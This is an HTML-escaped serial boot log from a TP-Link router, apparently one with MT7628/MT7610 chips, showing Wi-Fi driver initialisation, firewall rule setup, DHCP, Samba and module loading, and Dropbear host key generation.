&amp;lt;-- RTMPAllocAdapterBlock, Status=0&lt;br /&gt;
RtmpChipOpsHook(492): Not support for HIF_MT yet!&lt;br /&gt;
mt7628_init()--&amp;gt;&lt;br /&gt;
mt7628_init(FW(8a00), HW(8a01), CHIPID(7628))&lt;br /&gt;
e2.bin mt7628_init(1156)::(2), pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
mt_bcn_buf_init(218): Not support for HIF_MT yet!&lt;br /&gt;
&amp;lt;--mt7628_init()&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;ifconfig ra0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
TX_BCN DESC a277c000 size = 320&lt;br /&gt;
RX[0] DESC a2780000 size = 2048&lt;br /&gt;
RX[1] DESC a2781000 size = 2048&lt;br /&gt;
RT_CfgSetApcliMacAddress : invalid mac setting&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
wmode_band_equal(): Band Equal!&lt;br /&gt;
AndesSendCmdMsg: Could not send in band command due to diable fRTMP_ADAPTER_MCU_SEND_IN_BAND_CMD&lt;br /&gt;
APSDCapable[0]=0&lt;br /&gt;
APSDCapable[1]=0&lt;br /&gt;
APSDCapable[2]=0&lt;br /&gt;
APSDCapable[3]=0&lt;br /&gt;
APSDCapable[4]=0&lt;br /&gt;
APSDCapable[5]=0&lt;br /&gt;
APSDCapable[6]=0&lt;br /&gt;
APSDCapable[7]=0&lt;br /&gt;
APSDCapable[8]=0&lt;br /&gt;
APSDCapable[9]=0&lt;br /&gt;
APSDCapable[10]=0&lt;br /&gt;
APSDCapable[11]=0&lt;br /&gt;
APSDCapable[12]=0&lt;br /&gt;
APSDCapable[13]=0&lt;br /&gt;
APSDCapable[14]=0&lt;br /&gt;
APSDCapable[15]=0&lt;br /&gt;
default ApCliAPSDCapable[0]=0&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
[RTMPReadParametersHook:297]wifi read profile faild.&lt;br /&gt;
load fw image from fw_header_image&lt;br /&gt;
AndesMTLoadFwMethod1(2263)::pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
FW Version:1&lt;br /&gt;
FW Build Date:20161213152835&lt;br /&gt;
CmdAddressLenReq:(ret = 0)&lt;br /&gt;
CmdFwStartReq: override = 1, address = 1048576&lt;br /&gt;
CmdStartDLRsp: WiFI FW Download Success&lt;br /&gt;
MtAsicDMASchedulerInit(): DMA Scheduler Mode=0(LMAC)&lt;br /&gt;
efuse_probe: efuse = 10000002&lt;br /&gt;
RtmpChipOpsEepromHook::e2p_type=2, inf_Type=4&lt;br /&gt;
RtmpEepromGetDefault::e2p_dafault=2&lt;br /&gt;
RtmpChipOpsEepromHook: E2P type(2), E2pAccessMode = 2, E2P default = 2&lt;br /&gt;
NVM is FLASH mode&lt;br /&gt;
1. Phy Mode = 14&lt;br /&gt;
exec!&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007f0000 length 0x400, ret 0, retlen 0x400&lt;br /&gt;
eeFlashId = 0x7628!&lt;br /&gt;
Country Region from e2p = ffff&lt;br /&gt;
tssi_1_target_pwr_g_band = 32&lt;br /&gt;
2. Phy Mode = 14&lt;br /&gt;
3. Phy Mode = 14&lt;br /&gt;
NICInitPwrPinCfg(11): Not support for HIF_MT yet!&lt;br /&gt;
NICInitializeAsic(651): Not support rtmp_mac_sys_reset () for HIF_MT yet!&lt;br /&gt;
mt_mac_init()--&amp;gt;&lt;br /&gt;
MtAsicInitMac()--&amp;gt;&lt;br /&gt;
mt7628_init_mac_cr()--&amp;gt;&lt;br /&gt;
MtAsicSetMacMaxLen(1277): Set the Max RxPktLen=450!&lt;br /&gt;
&amp;lt;--mt_mac_init()&lt;br /&gt;
        WTBL Segment 1 info:&lt;br /&gt;
                MemBaseAddr/FID:0x28000/0&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
        WTBL Segment 2 info:&lt;br /&gt;
                MemBaseAddr/FID:0x40000/0&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 3 info:&lt;br /&gt;
                MemBaseAddr/FID:0x42000/64&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 4 info:&lt;br /&gt;
                MemBaseAddr/FID:0x44000/128&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
AntCfgInit(2946): Not support for HIF_MT yet!&lt;br /&gt;
MCS Set = ff ff 00 00 01&lt;br /&gt;
MtAsicSetChBusyStat(861): Not support for HIF_MT yet!&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=0, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
[PMF]RTMPMakeRsnIeCap: RSNIE Capability MFPC=0, MFPR=0&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=1, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
MtAsicSetRalinkBurstMode(3048): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicSetPiggyBack(796): Not support for HIF_MT yet!&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
reload DPD from flash , 0x9F = [ca00] doReload bit7[0]&lt;br /&gt;
CmdLoadDPDDataFromFlash: Channel = 11, DoReload = 0&lt;br /&gt;
MtAsicSetTxPreamble(3027): Not support for HIF_MT yet!&lt;br /&gt;
CmdSlotTimeSet:(ret = 0)&lt;br /&gt;
MtAsicAddSharedKeyEntry(1344): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicSetPreTbtt(): bss_idx=0, PreTBTT timeout = 0xf0&lt;br /&gt;
ap_ftkd&amp;gt; Initialize FT KDP Module...&lt;br /&gt;
Main bssid = 98:da:c4:6e:00:fc&lt;br /&gt;
&amp;lt;==== rt28xx_init, Status=0&lt;br /&gt;
@@@ ed_monitor_init : ===&amp;gt;&lt;br /&gt;
@@@ ed_monitor_init : &amp;lt;===&lt;br /&gt;
mt7628_set_ed_cca: TURN ON EDCCA mac 0x10618 = 0xd7c87d0f, EDCCA_Status=1&lt;br /&gt;
WiFi Startup Cost (ra0): 0.748s&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;echo 1 &amp;gt; /proc/tplink/led_wlan_24G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setStaNum cmd is &amp;quot;iwpriv ra0 set MaxStaNum=32&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  device ra0 entered promiscuous mode&lt;br /&gt;
oal_br_addIntfInbr0: port 5(ra0) entering forwarding state&lt;br /&gt;
toBridge cmd is br0: port 5(ra0) entering forwarding state&lt;br /&gt;
&amp;quot;brctl addif br0 ra0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridge cmd device apcli0 entered promiscuous mode&lt;br /&gt;
is &amp;quot;brctl addif br0 apcli0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridgdevice ra1 entered promiscuous mode&lt;br /&gt;
e cmd is &amp;quot;brctl addif br0 ra1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ util_execSyste&lt;br /&gt;
====&lt;br /&gt;
@@@ ed_status_read: EDCCA TH - H&lt;br /&gt;
pAd-&amp;gt;ed_trigger_cnt : 0 &amp;gt; 20 ||  pAd-&amp;gt;ed_big_rssi_stat : 0 &amp;lt; 50&lt;br /&gt;
====&lt;br /&gt;
m ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;wlNetlinkTspiflash_ioctl_read, Read from 0x007f0000 length 0x2, ret 0, retlen 0x2&lt;br /&gt;
ool &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;killall -q wscd&amp;quot;&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/ &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  rsl_initLanWlanObj cmd is &amp;quot;echo 0 &amp;gt; /proc/tplink/wl_mode&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;cp /etc/SingleSKU_5G_CE.dat /var/Wireless/RT2860AP/SingleSKU_5G.dat&amp;quot;&lt;br /&gt;
&lt;br /&gt;
WLAN-Start wlNetlinkTool&lt;br /&gt;
Waiting for Wireless Events from interfaces...&lt;br /&gt;
swWlanChkAhbErr: netlink to do&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;iwpriv rai0 set CountryRegionABand=1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
rai0      no private ioctls.&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 255&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_loadDriver cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/drivers/net/wireless/MT7610_ap/MT7610_ap.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wscd: SSDP UDP PORT = 1900&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== pAd = c1002000, size = 1368440 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;-- RTMPAllocTxRxRingMemory, Status=0&lt;br /&gt;
&amp;lt;-- RTMPAllocAdapterBlock, Status=0&lt;br /&gt;
device_id =0x7650&lt;br /&gt;
Read eeprom data from flash into memory!&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007f8000 length 0x200, ret 0, retlen 0x200&lt;br /&gt;
==&amp;gt;MT76x0_WLAN_ChipOnOff(): OnOff:1, pAd-&amp;gt;WlanFunCtrl:0x0, Reg-WlanFunCtrl=0xff000002&lt;br /&gt;
MACVersion = 0x76502000&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;ifconfig rai0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
load fw spent 16ms&lt;br /&gt;
RX DESC a2078000 size = 4096&lt;br /&gt;
RX1 DESC a2079000 size = 4096&lt;br /&gt;
cfg_mode=14&lt;br /&gt;
cfg_mode=14&lt;br /&gt;
wmode_band_equal(): Band Not Equal!&lt;br /&gt;
1. Phy Mode = 49&lt;br /&gt;
2. Phy Mode = 49&lt;br /&gt;
ERROR!!! E2PROM: WRONG VERSION 0x2, should be 1&lt;br /&gt;
ext_pa_current_setting = 1&lt;br /&gt;
MT76x0_TssiTableAdjust: upper_bound = 0x7F decimal: 127&lt;br /&gt;
MT76x0_TssiTableAdjust: lower_bound = 0xFFFFFF80 decimal: -128&lt;br /&gt;
*** MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -15 -8 -3 * 0 * 2 12 21 127 127 127 127, offset=-10, tuning=1&lt;br /&gt;
MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -25 -18 -13 * -10 * -8 2 11 117 117 117 117, offset=-10, tuning=1&lt;br /&gt;
mp_temperature=0xfffffff6, step = +0&lt;br /&gt;
MT76x0_TssiTableAdjust: upper_bound = 0x7F decimal: 127&lt;br /&gt;
MT76x0_TssiTableAdjust: lower_bound = 0xFFFFFF80 decimal: -128&lt;br /&gt;
*** MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -18 -11 -4 * -10 * 2 21 127 127 127 127 127, offset=-10, tuning=1&lt;br /&gt;
MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -28 -21 -14 * -10 * -8 11 117 117 117 117 117, offset=-10, tuning=1&lt;br /&gt;
mp_temperature=0xfffffff6, step = +0&lt;br /&gt;
3. Phy Mode = 49&lt;br /&gt;
AntCfgInit: primary/secondary ant 0/1&lt;br /&gt;
ChipStructAssign(): RALINK6590 hook !&lt;br /&gt;
bAutoTxAgcG = 1&lt;br /&gt;
MCS Set = ff 00 00 00 01&lt;br /&gt;
MT76x0_ChipBBPAdjust():rf_bw=2, ext_ch=1, PrimCh=36, HT-CentCh=38, VHT-CentCh=42&lt;br /&gt;
APStartUp(): AP Set CentralFreq at 42(Prim=36, HT-CentCh=38, VHT-CentCh=42, BBP_BW=2)&lt;br /&gt;
@@@ ed_monitor_init : ===&amp;gt;&lt;br /&gt;
@@@ ed_monitor_init : &amp;lt;===&lt;br /&gt;
Main bssid = 98:da:c4:6e:00:fb&lt;br /&gt;
&amp;lt;==== rt28xx_init, Status=0&lt;br /&gt;
0x1300 = 00064300&lt;br /&gt;
RTMPDrvOpen(1):Check if PDMA is idle!&lt;br /&gt;
RTMPDrvOpen(2):Check if PDMA is idle!&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;echo 1 &amp;gt; /proc/tplink/led_wlan_5G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setStaNum cmd is &amp;quot;iwpriv rai0 set MaxStaNum=32&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  device rai0 entered promiscuous mode&lt;br /&gt;
oal_br_addIntfInbr0: port 8(rai0) entering forwarding state&lt;br /&gt;
toBridge cmd is br0: port 8(rai0) entering forwarding state&lt;br /&gt;
&amp;quot;brctl addif br0 rai0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridge cmddevice apclii0 entered promiscuous mode&lt;br /&gt;
 is &amp;quot;brctl addif br0 apclii0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridevice rai1 entered promiscuous mode&lt;br /&gt;
dge cmd is &amp;quot;brctl addif br0 rai1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wlNetlinkTool isspiflash_ioctl_read, Read from 0x007f8000 length 0x2, ret 0, retlen 0x2&lt;br /&gt;
 already there.&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;killall -q wscd_5G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/ &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  rsl_initLanWlanObj cmd is &amp;quot;echo 0 &amp;gt; /proc/tplink/wl_mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wscd: SSDP UDP PORT = 1900&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 777 send 2030 error&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 777 send 2004 error&lt;br /&gt;
[ util_execSystem ] 139:  oal_startDhcps cmd is &amp;quot;dhcpd /var/tmp/dconf/udhcpd.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_lan6_startDhcp6s cmd is &amp;quot;dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run/dhcp6s_br0.pid br0 &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_lan6_startRadvd cmd is &amp;quot;radvd -C /var/tmp/dconf/radvd_br0.conf -p /var/run/radvd_br0.pid &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_delIntfFromBridge cmd is &amp;quot;brctl delif br0 eth0.2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
mldProxy# file: src/mld_ifinfo.c;line: 102; error = No such file or directory&lt;br /&gt;
mldProxy# Err: get LLA failed&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
brctl: bridge br0: Invalid argument&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 down&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 hw ether 98:DA:C4:6E:00:FD up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.2 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
radvd starting&lt;br /&gt;
[Jan 01 00:00:09] radvd: no linklocal address configured for br0&lt;br /&gt;
[Jan 01 00:00:09] radvd: error parsing or activating the config file: /var/tmp/dconf/radvd_br0.conf&lt;br /&gt;
[ rsl_initAppObj ] 787:  ==&amp;gt; start dhcp client&lt;br /&gt;
[ util_execSystem ] 139:  oal_rip_updateConfig cmd is &amp;quot;rm -f /var/tmp/dconf/zebra.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_rip_updateConfig cmd is &amp;quot;rm -f /var/tmp/dconf/ripd.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  removeAllRIPIpTableRule cmd is &amp;quot;iptables -L INPUT -v --line-numbers &amp;gt; /var/iptable&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ getPidFromPidFile ] 112:  Cann&#039;t open file: /var/run/zebra.pid.&lt;br /&gt;
[ util_execSystem ] 139:  controlRipProcess cmd is &amp;quot;zebra -d -f /var/tmp/dconf/zebra.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ getPidFromPidFile ] 112:  Cann&#039;t open file: /var/run/ripd.pid.&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_fwDdos cmd is &amp;quot;iptables -D FORWARD -j FIREWALL_DDOS&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: No chain/target/match by that name.&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_forbidLanPing cmd is &amp;quot;iptables -t filter -D INPUT -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
iptables -t filter -D FORWARD -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ddos_delPingRule cmd is &amp;quot;iptables -t filter -D INPUT ! -i br+ -p icmp --icmp-type echo-request -j ACCEPT&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_setDDoSRules cmd is &amp;quot;iptables -F FIREWALL_DDOS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  ddos_clearAll cmd is &amp;quot;rm -f /var/tmp/dosHost&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initFirewallObj cmd is &amp;quot;ebtables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -F&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -X&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P INPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P FORWARD DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P OUTPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FWRULE&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i lo -p ALL -j ACCEPT -m comment                                   --comment &amp;quot;loop back&amp;quot;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT  -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p tcp --dport 23 -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p tcp --dport 23 -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p icmpv6 --icmpv6-type echo-request -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -j FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -I FORWARD 1 -j SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -D FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ip6tables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -F FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -A FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ rsl_setStorageServiceObj ] 1024:  mountFlag is 3,We start usb server&lt;br /&gt;
[ util_execSystem ] 139:  oal_killDlnaMediaSeverProcess cmd is &amp;quot;killall ushare&amp;quot;&lt;br /&gt;
&lt;br /&gt;
killall: ushare: no process killed&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_sys_unsetTZ cmd is &amp;quot;echo &amp;quot;&amp;quot; &amp;gt; /etc/TZ&amp;quot;&lt;br /&gt;
&lt;br /&gt;
uShare (version 1.1a), a lightweight UPnP A/V and DLNA Media Server.&lt;br /&gt;
Benjamin Zores (C) 2005-2007, for GeeXboX Team.&lt;br /&gt;
See http://ushare.geexbox.org/ for updates.&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_setWanPort cmd is &amp;quot;iptables -t filter -D INPUT -p tcp --dport 21 -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_setWanPort cmd is &amp;quot;iptables -t nat -D PREROUTING -p tcp --dport 21 -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_startSamba cmd is &amp;quot;smbd -D&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 500 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_proto_gre.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_pptp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p tcp --dport 1723 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 1701 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_rtsp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_rtsp.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
nf_nat_rtsp v0.6.21 loading&lt;br /&gt;
gpiomode1 55144444.&lt;br /&gt;
gpiomode2 00000445.&lt;br /&gt;
enable switch phyport...&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
[cmd_dutInit():1059] init shm&lt;br /&gt;
[tddp_taskEntry():151] tddp task start&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
[ util_execSystem ] 139:  prepareDropbear cmd is &amp;quot;dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit rsa secret key to &#039;/var/tmp/dropbear/dropbear_rsa_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&lt;br /&gt;
[ util_execSystem ] 139:  prepareDropbear cmd is &amp;quot;dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit dss secret key to &#039;/var/tmp/dropbear/dropbear_dss_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&lt;br /&gt;
